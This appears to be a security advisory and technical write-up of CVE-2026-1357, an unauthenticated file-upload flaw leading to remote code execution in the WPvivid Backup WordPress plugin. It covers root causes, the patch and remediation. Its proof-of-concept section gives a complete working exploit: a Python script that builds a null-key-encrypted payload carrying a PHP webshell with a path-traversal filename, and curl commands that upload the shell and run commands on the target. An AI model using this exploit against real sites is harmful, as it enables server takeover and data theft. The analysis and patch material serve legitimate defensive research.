CVE-2026-1357: Unauthenticated RCE in WPvivid Backup Plugin (CVSS 9.8)
Table of Contents
CVE-2026-1357 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Migration, Backup, Staging – WPvivid Backup & Migration WordPress plugin. By chaining a silent RSA decryption failure with an unsanitized filename, any unauthenticated attacker can upload arbitrary PHP files to publicly accessible directories and achieve full Remote Code Execution on the target web server — no login required. Wordfence blocked 2,717 attacks targeting this vulnerability within the first 24 hours of disclosure.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Migration, Backup, Staging – WPvivid Backup & Migration |
| Plugin Slug | wpvivid-backuprestore |
| CVE ID | CVE-2026-1357 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Upload → Remote Code Execution |
| Affected Versions | <= 0.9.123 |
| Patched Version | 0.9.124 |
| Published | February 10, 2026 |
| Researcher | Lucas Montes (NiRoX) |
| Wordfence Advisory | Link |
Description
The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files. When the plugin fails to decrypt a session key using openssl_private_decrypt(), it does not terminate execution and instead passes the boolean false value to the phpseclib library’s AES cipher initialization. The library treats this false value as a string of null bytes, allowing an attacker to encrypt a malicious payload using a predictable null-byte key. Additionally, the plugin accepts filenames from the decrypted payload without sanitization, enabling directory traversal to escape the protected backup directory. This makes it possible for unauthenticated attackers to upload arbitrary PHP files to publicly accessible directories and achieve Remote Code Execution via the wpvivid_action=send_to_site parameter.
Wordfence blocked 2,717 attacks targeting this vulnerability in the first 24 hours after disclosure.
Technical Analysis
Architecture: The Transfer Protocol
The plugin implements a site-to-site migration feature. The destination site generates an RSA-2048 key pair and stores it in the wpvivid_api_token WordPress option:
File: includes/class-wpvivid-migrate.php (lines 955–966)
$key_size = 2048;
$rsa = new Crypt_RSA();
$keys = $rsa->createKey($key_size);
$options['public_key'] = base64_encode($keys['publickey']);
$options['private_key'] = base64_encode($keys['privatekey']);
$options['expires'] = $expires;
$options['domain'] = home_url();
WPvivid_Setting::update_option('wpvivid_api_token', $options);
$url = $options['domain'];
$url = $url . '?domain=' . $options['domain'] . '&token=' . $options['public_key'] . '&expires=' . $expires;
The admin shares this URL with the source site. The source encrypts backup data using the public key and POSTs it to the destination. The destination decrypts using the stored private key.
Hook Registration: No Authentication Required
File: includes/customclass/class-wpvivid-send-to-site.php (lines 25, 36–62)
// Constructor — registered for ALL requests
add_action('plugins_loaded', array($this, 'plugins_loaded'));
public function plugins_loaded()
{
if (!empty($_POST) && isset($_POST['wpvivid_action']))
{
if ($_POST['wpvivid_action'] == 'send_to_site_connect') {
$this->send_to_site_connect();
}
else if ($_POST['wpvivid_action'] == 'send_to_site') {
$this->send_to_site(); // <-- VULNERABLE HANDLER
}
// ... other handlers
die();
}
}
The handler fires on the plugins_loaded hook — one of the earliest WordPress hooks, running before any authentication is checked. Any HTTP POST request to any WordPress URL with wpvivid_action=send_to_site in the body reaches this code without requiring authentication.
Vulnerable Code Path — Bug #1: RSA Decryption Failure Not Handled
File: includes/class-wpvivid-crypt.php (lines 47–63)
public function decrypt_message($message)
{
$len = substr($message, 0, 3);
$len = hexdec($len);
$key = substr($message, 3, $len);
$cipherlen = substr($message, ($len + 3), 16);
$cipherlen = hexdec($cipherlen);
$data = substr($message, ($len + 19), $cipherlen);
$rsa = new Crypt_RSA();
$rsa->loadKey($this->public_key); // loads the RSA private key from the option
$key = $rsa->decrypt($key); // <-- returns false on failure; NOT CHECKED
$rij = new Crypt_Rijndael();
$rij->setKey($key); // <-- setKey(false) = null-byte key!
return $rij->decrypt($data); // <-- decrypts with predictable null-byte key
}
When the RSA private key in wpvivid_api_token fails to decrypt the attacker-controlled ciphertext (which it will, because the attacker doesn’t have the RSA private key), Crypt_RSA::decrypt() returns false. This false is passed directly to Crypt_Rijndael::setKey().
The phpseclib 1.x Base::setKey() stores the raw value:
function setKey($key)
{
if (!$this->explicit_key_length) {
$this->setKeyLength(strlen($key) << 3); // strlen(false) = 0 → key length = 0
$this->explicit_key_length = false;
}
$this->key = $key; // stores false
$this->changed = true;
$this->_setEngine();
}
With a key length of 0 (from strlen(false)), phpseclib falls back to its minimum AES key size and initializes with a key of all null bytes (\x00 × 16 or 32). The attacker can predict this behavior and construct a payload encrypted with the null-byte key.
Vulnerable Code Path — Bug #2: Path Traversal via Unsanitized Filename
File: includes/customclass/class-wpvivid-send-to-site.php (lines 628–666)
$dir = WPvivid_Setting::get_backupdir(); // e.g., "wpvivid-backuprestore"
// $params['name'] comes directly from attacker-controlled decrypted payload
$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
. str_replace('wpvivid', 'wpvivid_temp', $params['name']); // NO sanitization!
if (!file_exists($file_path)) {
$handle = fopen($file_path, 'w');
fclose($handle);
}
$handle = fopen($file_path, 'rb+');
$offset = $params['offset'];
if ($offset) {
fseek($handle, $offset);
}
fwrite($handle, base64_decode($params['data'])); // writes attacker data!
fclose($handle);
if (filesize($file_path) >= $params['file_size']) {
if (md5_file($file_path) == $params['md5']) {
// Renames temp file to final path — ALSO unsanitized:
rename($file_path,
WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . $params['name']);
}
}
$params['name'] is consumed directly without calling basename() or stripping ../ sequences. The str_replace('wpvivid', 'wpvivid_temp', ...) call only modifies the word “wpvivid” in the string — it does not prevent directory traversal.
With $params['name'] = '../../uploads/shell.php':
- Temp write path:
wp-content/wpvivid-backuprestore/../../uploads/wpvivid_temp../../uploads/shell.php(effectively:wp-content/uploads/wpvivid_temp../../uploads/shell.php) - Final rename path:
wp-content/uploads/shell.php
Since wp-content/uploads/ is a web-accessible directory, the PHP shell becomes directly reachable via HTTP.
Root Cause
Two independent bugs chain together to create a critical unauthenticated RCE:
-
Missing return-value check on RSA decryption (
class-wpvivid-crypt.php:59):Crypt_RSA::decrypt()can returnfalse, which should signal failure and abort. Instead it’s silently passed to the AES cipher, reducing the effective key to a predictable null-byte value that any attacker can replicate. -
Missing filename sanitization (
class-wpvivid-send-to-site.php:630):$params['name']from the attacker-controlled payload is used directly in file-system operations withoutbasename()normalization or extension validation, enabling directory traversal and PHP file placement in web-accessible locations.
Why Existing Controls Failed
The plugin’s intended security model is:
- The RSA key pair is generated per-migration; only the source site holding the shared connection URL can encrypt valid messages.
- The backup directory is protected from direct web access.
Both protections are bypassed:
- RSA protection bypassed: Because decryption failure is silent, an attacker does not need the RSA private key. They can submit garbage as the RSA-encrypted session key; the library fails, returns
false, and the code continues — proceeding to decrypt the AES payload with a null-byte key the attacker already knows. - Directory protection bypassed: Because the filename is not sanitized, the attacker can escape the protected backup directory to any writable location within
wp-content/, including the publicly accessibleuploads/directory.
Attack Impact
An unauthenticated remote attacker can:
- Upload arbitrary PHP files (webshells, backdoors) to publicly accessible directories
- Achieve full Remote Code Execution on the web server
- Gain persistent access to the WordPress installation
- Exfiltrate the WordPress database, credentials, and sensitive files
- Pivot to other systems accessible from the server
Prerequisite: The wpvivid_api_token option must be non-empty — meaning an administrator must have previously generated a migration token. This is a routine step for anyone who has ever used the plugin’s migration feature. If the token has expires=0 (“Never”), it remains valid indefinitely.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
wpvivid-backuprestoreplugin installed and activated - Plugin version <= 0.9.123
- The admin has previously generated a migration transfer token (normal plugin usage)
- The
wpvivid_api_tokenoption is non-expired
Step-by-Step Reproduction
Step 1: Craft the null-byte-key AES encrypted payload
Since RSA decryption will fail (we don’t have the private key) and phpseclib will fall back to a null-byte key, we encrypt our JSON payload using AES-Rijndael with a 16-byte null key:
#!/usr/bin/env python3
"""
PoC for CVE-2026-1357 - WPvivid Unauthenticated Arbitrary File Upload
Encrypts payload with null-byte AES key (the key phpseclib uses when RSA decryption fails)
"""
import base64
import struct
from Crypto.Cipher import AES
# The null-byte key phpseclib falls back to
NULL_KEY = b'\x00' * 16
# Our PHP webshell payload
SHELL_CONTENT = b'<?php system($_GET["cmd"]); ?>'
# Encode file data as base64 (as the plugin expects)
file_data_b64 = base64.b64encode(SHELL_CONTENT).decode()
# Build the JSON payload
# name uses path traversal to escape backup dir into uploads/
import json
payload = json.dumps({
"backup_id": "attacker_backup_001",
"name": "../../uploads/shell.php", # path traversal
"offset": 0,
"data": file_data_b64,
"file_size": len(SHELL_CONTENT),
"md5": __import__('hashlib').md5(SHELL_CONTENT).hexdigest()
}).encode()
# Pad to AES block size (PKCS7)
pad_len = 16 - (len(payload) % 16)
payload_padded = payload + bytes([pad_len] * pad_len)
# Encrypt with null-byte AES key (ECB mode matches phpseclib Rijndael default)
cipher = AES.new(NULL_KEY, AES.MODE_ECB)
encrypted_payload = cipher.encrypt(payload_padded)
# Build the WPvivid message format:
# [3 hex bytes: RSA-encrypted-key length][RSA-encrypted-key (garbage)][16 hex bytes: cipher length][ciphertext]
fake_rsa_key = b'\x00' * 256 # 256 bytes garbage — RSA decryption will fail on this
key_len_hex = format(len(fake_rsa_key), '03x').encode()
cipher_len_hex = format(len(encrypted_payload), '016x').encode()
message = key_len_hex + fake_rsa_key + cipher_len_hex + encrypted_payload
wpvivid_content = base64.b64encode(message).decode()
print("wpvivid_content =", wpvivid_content[:100], "...")
print("Full value saved to payload.txt")
with open("payload.txt", "w") as f:
f.write(wpvivid_content)
Step 2: Send the upload request
Replace https://target.example.com with the target WordPress URL. The request can be sent to any WordPress page — it is processed on plugins_loaded before routing.
PAYLOAD=$(cat payload.txt)
TARGET="https://target.example.com"
curl -s -X POST "$TARGET/" \
-d "wpvivid_action=send_to_site" \
-d "wpvivid_content=$PAYLOAD" \
| python3 -m json.tool
Expected success response:
{
"result": "success",
"op": "finished"
}
Step 3: Verify remote code execution
curl -s "https://target.example.com/wp-content/uploads/shell.php?cmd=id"
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Expected Result
The attacker places a PHP webshell at wp-content/uploads/shell.php and achieves arbitrary command execution on the web server as the webserver user (www-data or similar).
Verification
- Check that
wp-content/uploads/shell.phpexists on the server filesystem - Confirm the file contains
<?php system($_GET["cmd"]); ?> - Access the URL with
?cmd=idand verify OS command output is returned in the HTTP response
Patch Analysis
What Changed
| File | Change |
|---|---|
includes/class-wpvivid-crypt.php | Added null/false check after RSA decryption |
includes/customclass/class-wpvivid-send-to-site.php | Added basename(), character allowlist, and extension allowlist for filename |
Fix Explanation
The patch addresses both root causes:
Fix 1 — Fail-safe on RSA decryption failure (class-wpvivid-crypt.php):
+ if ($key === false || empty($key))
+ {
+ return false;
+ }
$rij = new Crypt_Rijndael();
$rij->setKey($key);
If RSA decryption fails (returns false), decrypt_message() now immediately returns false. The calling code in send_to_site() already checks if (!is_string($data)) and rejects non-string results — so this single guard causes a clean abort on any invalid RSA ciphertext.
Fix 2 — Filename sanitization (class-wpvivid-send-to-site.php):
-$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
- . str_replace('wpvivid', 'wpvivid_temp', $params['name']);
+$safe_name = basename($params['name']);
+$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
+$allowed_extensions = array('zip', 'gz', 'tar', 'sql');
+$file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+if (!in_array($file_ext, $allowed_extensions, true)) {
+ $ret['result'] = WPVIVID_FAILED;
+ $ret['error'] = 'Invalid file type - only backup files allowed.';
+ echo wp_json_encode($ret);
+ die();
+}
+$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
+ . str_replace('wpvivid', 'wpvivid_temp', $safe_name);
Three layers of defense:
basename()strips all directory components, eliminating../traversalpreg_replace('/[^a-zA-Z0-9._-]/', '', ...)removes any non-alphanumeric characters (except.,_,-)- Extension allowlist (
zip,gz,tar,sql) blocks PHP files even if the first two checks were somehow bypassed
The same fix is applied in two locations: send_to_site() (line 630) and the file-status handler (line 903).
Code Diff (Key Changes)
--- a/includes/class-wpvivid-crypt.php
+++ b/includes/class-wpvivid-crypt.php
@@ -57,6 +57,10 @@ class WPvivid_crypt
$rsa = new Crypt_RSA();
$rsa->loadKey($this->public_key);
$key=$rsa->decrypt($key);
+ if ($key === false || empty($key))
+ {
+ return false;
+ }
$rij = new Crypt_Rijndael();
$rij->setKey($key);
return $rij->decrypt($data);
--- a/includes/customclass/class-wpvivid-send-to-site.php
+++ b/includes/customclass/class-wpvivid-send-to-site.php
@@ -627,8 +627,18 @@ class WPvivid_Send_to_site extends WPvivid_Remote
- $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']);
+ $safe_name = basename($params['name']);
+ $safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
+ $allowed_extensions = array('zip', 'gz', 'tar', 'sql');
+ $file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+ if (!in_array($file_ext, $allowed_extensions, true))
+ {
+ $ret['result'] = WPVIVID_FAILED;
+ $ret['error'] = 'Invalid file type - only backup files allowed.';
+ echo wp_json_encode($ret);
+ die();
+ }
+ $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid', 'wpvivid_temp', $safe_name);
@@ -663,3 +673,2 @@
- rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name']);
+ rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$safe_name);
Residual Risk Assessment
The fix is complete and addresses the root cause of each bug. However, defenders should note:
- Defense in depth missing: The handler fires on
plugins_loadedwith zero authentication. Even with the patch, any future logic errors indecrypt_message()could reopen an attack surface. Ideally the handler should also verify a nonce or IP allowlist based on the token’s registered source domain. - No rate limiting: There is no brute-force or rate-limiting protection on the endpoint; high-volume probing is possible.
- Token lifetime: Tokens with
expires=0(“Never”) remain valid indefinitely, maximizing the window of exposure for any future vulnerabilities in this endpoint.
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Lucas Montes (NiRoX) |
| February 10, 2026 | Publicly disclosed by Wordfence |
| February 11, 2026 | Advisory last updated |
| February 2026 | Patched version 0.9.124 released |
Remediation
Update the wpvivid-backuprestore plugin to version 0.9.124 or later immediately.
If immediate update is not possible:
- Deactivate the plugin until the update can be applied
- Alternatively, delete the
wpvivid_api_tokenoption from the database (DELETE FROM wp_options WHERE option_name = 'wpvivid_api_token';) — this causes allsend_to_site*handlers to exit early viaif(empty($option)) { die(); }, mitigating the attack surface until the patch is applied
References
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/class-wpvivid-crypt.php#L58
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/class-wpvivid-crypt.php#L58
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/class-wpvivid-crypt.php#L58
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/customclass/class-wpvivid-send-to-site.php#L629
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/customclass/class-wpvivid-send-to-site.php#L629
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/customclass/class-wpvivid-send-to-site.php#L629
- https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore#file1